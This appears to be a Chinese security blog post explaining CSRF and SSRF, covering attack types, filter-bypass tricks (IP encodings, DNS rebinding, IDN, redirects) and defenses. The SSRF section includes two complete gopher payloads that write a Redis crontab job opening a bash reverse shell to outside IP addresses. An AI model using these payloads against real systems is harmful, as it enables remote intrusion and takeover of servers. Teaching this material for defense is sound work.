首页 > 其他分享 >关于CSRF和SSRF的介绍

关于CSRF和SSRF的介绍

时间:2024-07-16 15:27:46浏览次数:19  
标签:DNS SSRF URL 介绍 0a 0a% CSRF 0d%

  • 一、CSRF

  • 1. 简介

    • 跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或者 Session Riding ,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
  • 2. 分类

    • 2.1. 资源包含

      • 资源包含是在大多数介绍CSRF概念的演示或基础课程中可能看到的类型。这种类型归结为控制HTML标签(例如<image>、<audio>、<video>、<object>、<script>等)所包含的资源的攻击者。如果攻击者能够影响URL被加载的话,包含远程资源的任何标签都可以完成攻击。
      • 由于缺少对Cookie的源点检查,如上所述,此攻击不需要XSS,可以由任何攻击者控制的站点或站点本身执行。此类型仅限于GET请求,因为这些是浏览器对资源URL唯一的请求类型。这种类型的主要限制是它需要错误地使用安全的HTTP请求方式。
    • 2.2. 基于表单

      • 通常在正确使用安全的请求方式时看到。攻击者创建一个想要受害者提交的表单; 其包含一个JavaScript片段,强制受害者的浏览器提交。
      • 该表单可以完全由隐藏的元素组成,以致受害者很难发现它。
      • 如果处理cookies不当,攻击者可以在任何站点上发动攻击,只要受害者使用有效的cookie登录,攻击就会成功。如果请求是有目的性的,成功的攻击将使受害者回到他们平时正常的页面。该方法对于攻击者可以将受害者指向特定页面的网络钓鱼攻击特别有效。
    • 2.3. XMLHttpRequest

      • XMLHttpRequest可能是最少看到的方式,由于许多现代Web应用程序依赖XHR,许多应用花费大量的时间来构建和实现这一特定的对策。
      • 基于XHR的CSRF通常由于SOP而以XSS有效载荷的形式出现。没有跨域资源共享策略 (Cross-Origin Resource Sharing, CORS),XHR仅限于攻击者托管自己的有效载荷的原始请求。
      • 这种类型的CSRF的攻击有效载荷基本上是一个标准的XHR,攻击者已经找到了一些注入受害者浏览器DOM的方式。
  • 3. 防御

    • 通过CSRF-token或者验证码来检测用户提交
    • 验证 Referer/Content-Type
    • 对于用户修改删除等操作最好都使用POST操作
    • 避免全站通用的Cookie,严格设置Cookie的域
  • 4. 参考链接

  • 二、SSRF

  • 1. 简介

    • 服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
  • 1.1. 漏洞危害

    • SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。
    • 内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。
  • 2. 利用方式

    • SSRF利用存在多种形式以及不同的场景,针对不同场景可以使用不同的利用和绕过方式。
    • 以curl为例, 可以使用dict协议操作Redis、file协议读文件、gopher协议反弹Shell等功能,常见的Payload如下:

    • curl -vvv 'gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a3%0d%0aset%0d%0a33%0d%0aset%0d%0a31%0d%0a1%0d%0a64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a6464%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a646%0d%0aconfig%0d%0a3%0d%0aset%0d%0a33%0d%0aset%0d%0a33%0d%0adir%0d%0a16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a1616%0d%0a/var/spool/cron/%0d%0a*4%0d%0a166%0d%0aconfig%0d%0a3%0d%0aset%0d%0a33%0d%0aset%0d%0a310%0d%0adbfilename%0d%0a4%0d%0aroot%0d%0a*1%0d%0a44%0d%0aroot%0d%0a*1%0d%0a44%0d%0asave%0d%0aquit%0d%0a'
  • 3. 相关危险函数

    • SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以PHP为例,涉及到的函数有 file_get_contents() / fsockopen() / curl_exec() 等。
  • 4. 过滤绕过

  • 4.1. 更改IP地址写法

  • 一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:

  • 对于这种过滤我们采用改编IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:
    • 8进制格式:0300.0250.0.1
    • 16进制格式:0xC0.0xA8.0.1
    • 10进制整数格式:3232235521
    • 16进制整数格式:0xC0A80001
    • 合并后两位:1.1.278 / 1.1.755
    • 合并后三位:1.278 / 1.755 / 3.14159267
  • 另外IP中的每一位,各个进制可以混用。
  • 访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。
  • 另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。
  • 4.2. 使用解析到内网的域名

    • 如果服务端没有先解析IP再过滤内网地址,我们就可以使用 localhost 等解析到内网的域名。
    • 另外 xip.io 提供了一个方便的服务,这个网站的子域名会解析到对应的IP,例如192.168.0.1.xip.io,解析到192.168.0.1。
  • 4.3. 利用解析URL所出现的问题

    • 在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
    • 比如 百度一下,你就知道@192.168.0.1/ 当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。
  • 4.4. 利用跳转

    • 如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。
    • 常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会。
  • 4.5. 通过各种非HTTP协议

    • 如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。
    • 比如通过gopher,可以在一个url参数中构造POST或者GET请求,从而达到攻击内网应用的目的。例如可以使用gopher协议对与内网的Redis服务进行攻击,可以使用如下的URL:

    • gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a3%0d%0aset%0d%0a33%0d%0aset%0d%0a31%0d%0a1%0d%0a64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a6464%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a646%0d%0aconfig%0d%0a3%0d%0aset%0d%0a33%0d%0aset%0d%0a33%0d%0adir%0d%0a16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a1616%0d%0a/var/spool/cron/%0d%0a*4%0d%0a166%0d%0aconfig%0d%0a3%0d%0aset%0d%0a33%0d%0aset%0d%0a310%0d%0adbfilename%0d%0a4%0d%0aroot%0d%0a*1%0d%0a44%0d%0aroot%0d%0a*1%0d%0a44%0d%0asave%0d%0aquit%0d%0a
    • 除了gopher协议,File协议也是SSRF中常用的协议,该协议主要用于访问本地计算机中的文件,我们可以通过类似 file:///path/to/file 这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过 file:///d:/1.txt 来访问D盘中1.txt的内容。
  • 4.6. DNS Rebinding

  • 一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。
  • 但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。
  • 要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:
    • 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
    • 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
    • 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
    • 由于已经绕过验证,所以服务器端返回访问内网资源的结果。
  • 4.7. 利用IPv6

    • 有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::] 0000::1 或IPv6的内网域名来绕过过滤。
  • 4.8. 利用IDN

  • 一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。
  • 在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ 和 example.com 等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符绕过内网限制。
  • 5. 可能的利用点

    • 5.1. 内网服务

      • Apache Hadoop远程命令执行
      • axis2-admin部署Server命令执行
      • Confluence SSRF
      • counchdb WEB API远程命令执行
      • dict
      • docker API远程命令执行
      • Elasticsearch引擎Groovy脚本命令执行
      • ftp / ftps(FTP爆破)
      • glassfish任意文件读取和war文件部署间接命令执行
      • gopher
      • HFS远程命令执行
      • http、https
      • imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
      • Java调试接口命令执行
      • JBOSS远程Invoker war命令执行
      • Jenkins Scripts接口命令执行
      • ldap
      • mongodb
      • php_fpm/fastcgi 命令执行
      • rtsp - smb/smbs(连接SMB)
      • sftp
      • ShellShock 命令执行
      • Struts2 命令执行
      • telnet
      • tftp(UDP协议扩展)
      • tomcat命令执行
      • WebDav PUT上传任意文件
      • WebSphere Admin可部署war间接命令执行
      • zentoPMS远程命令执行
    • 5.2. Redis利用

      • 写ssh公钥
      • 写crontab
      • 写WebShell
      • Windows写启动项
      • 主从复制加载 .so 文件
      • 主从复制写无损文件
    • 5.3. 云主机

      • 在AWS、Google等云环境下,通过访问云环境的元数据API或管理API,在部分情况下可以实现敏感信息等效果。
  • 6. 防御方式

    • 过滤返回的信息
    • 统一错误信息
    • 限制请求的端口
    • 禁止不常用的协议
    • 对DNS Rebinding,考虑使用DNS缓存或者Host白名单
  • 7. 参考链接

标签:DNS,SSRF,URL,介绍,0a,0a%,CSRF,0d%
From: https://blog.csdn.net/qq_62987084/article/details/140467500

相关文章

  • 基于快照的异步远程复制介绍
    本文分享自天翼云开发者社区《基于快照的异步远程复制介绍》,作者:l****n1、简介:本文介绍了基于RBD快照的异步远程复制技术2、概念介绍:异步远程复制:通过定时的将业务端的数据同步到备份端,从而实现数据的备份和灾难恢复的技术;RBD快照:RBD快照是RBD在某一时刻全部数据的只读镜像......
  • 组态软件之万维组态介绍(web组态、html组态、vue2/vue3组态、组态软件、组态编辑器)
     一、什么是组态软件组态软件是一种用于创建、配置和管理监控和控制系统的软件工具。组态是指不需要编写计算机程序、通过配置的方式完成工业应用开发的系统。它们通常用于工业自动化领域,用于实时监视和控制工业过程。组态软件提供了丰富的功能和工具,使用户能够创建用户界......
  • bluz glib编程 --- GVariant Format Strings 介绍
    GVariantFormatStrings类型字符串实例分析(sa{sv}as)外层是元组类型,内含三个成员,分别是字符串s字典类型数组a{sv},字符串作为key,variant作为value字符串类型数组as(i@ii)外层是元组类型,内含三个成员,分别是gint类型数字类型ivariant类型@i,对应数字......
  • 《藏文翻译词典》App功能介绍,支持藏汉词典和藏文字典查单词,好用的藏语学习工具!
    《藏文翻译词典》App,作为一款功能强大的语言学习工具,不仅为藏语学习者提供了一个便捷的学习平台,也为那些对藏文化感兴趣的人们打开了一扇了解和学习的窗口。app内置藏汉词典、藏汉大词典、新术语等多本辞书,方便大家查询单词,中文藏文双语解释。藏汉双语,藏语学习的得力助手《......
  • 【人工智能大模型】文心一言介绍以及基本使用指令
    目录一、产品背景与技术基础二、主要功能与特点基本用法指令的使用注意事项文心一言(ERNIEBot)是百度基于其文心大模型技术推出的生成式AI产品。以下是对文心一言的详细介绍:一、产品背景与技术基础技术背景:百度在人工智能领域深耕十余年,拥有产业级知识增强文心大模型E......
  • 介绍自动驾驶的感知任务--3D Occupancy Semantic Prediction
    介绍自动驾驶感知任务中的--3DOccupancySemanticPrediction什么是Occupancy自动驾驶领域,按照传统会分为perception,prediction,planning和control四大部分,有时会加上map。其中最为重要的就是perception,也是目前自动驾驶的瓶颈所在,如果感知算法给了下游任务错误的视觉信息,......
  • VannaAI 介绍及使用 - 第三篇
    Vanna的多样化使用前言前面两篇,对Vanna的一些原理和基本使用进行的总结,本篇将根据Vanna提供的多样化配置进行体验尝试,并共同来探索一下Vanna源码,有不正之处请友友们指正。先做一些说明:1.我本地目前使用的是 python3.12版本,Vanna是0.5.5版本,不同版本的包可能源码会有些许......
  • 推荐好用的鼠标连点器,4个鼠标连点工具介绍,每秒点击上百下!
    鼠标连点器是鼠标可以在段时间内连续点击的工具,一般游戏玩家用的比较多。鼠标连点可以自由设置鼠标点击间隔时间及单击方式,只需要将鼠标移动到需要连点的地方,然后按相应热键就可以启动连点,再按下相应热键停止连点就可以了。鼠标连点在日常工作中蛮常见的,如果你需要用到鼠标连......
  • STM32标准库函数功能介绍————EXTI库
    1.voidEXTI_DeInit(void);函数解释:EXTI的反初始化函数,即恢复默认状态。参数解释:无参数2.voidEXTI_Init(EXTI_InitTypeDef*EXTI_InitStruct);函数解释:EXTI的初始化函数参数解释:注意要加&号3.voidEXTI_StructInit(EXTI_InitTypeDef*EXTI_InitStruct);函数解释:将EXTI......
  • Day34.异常处理介绍
    1.异常处理介绍 '''1.什么是异常异常是程序发生错误的信号,程序一旦出错就会抛出异常,程序的运行随即终止1.1异常处理的三个特征异常的追踪信息异常的类型异常的内容''''''2.为何处理异常为了增强程序的健壮性,即便是程序运行过程中出错,也不要终......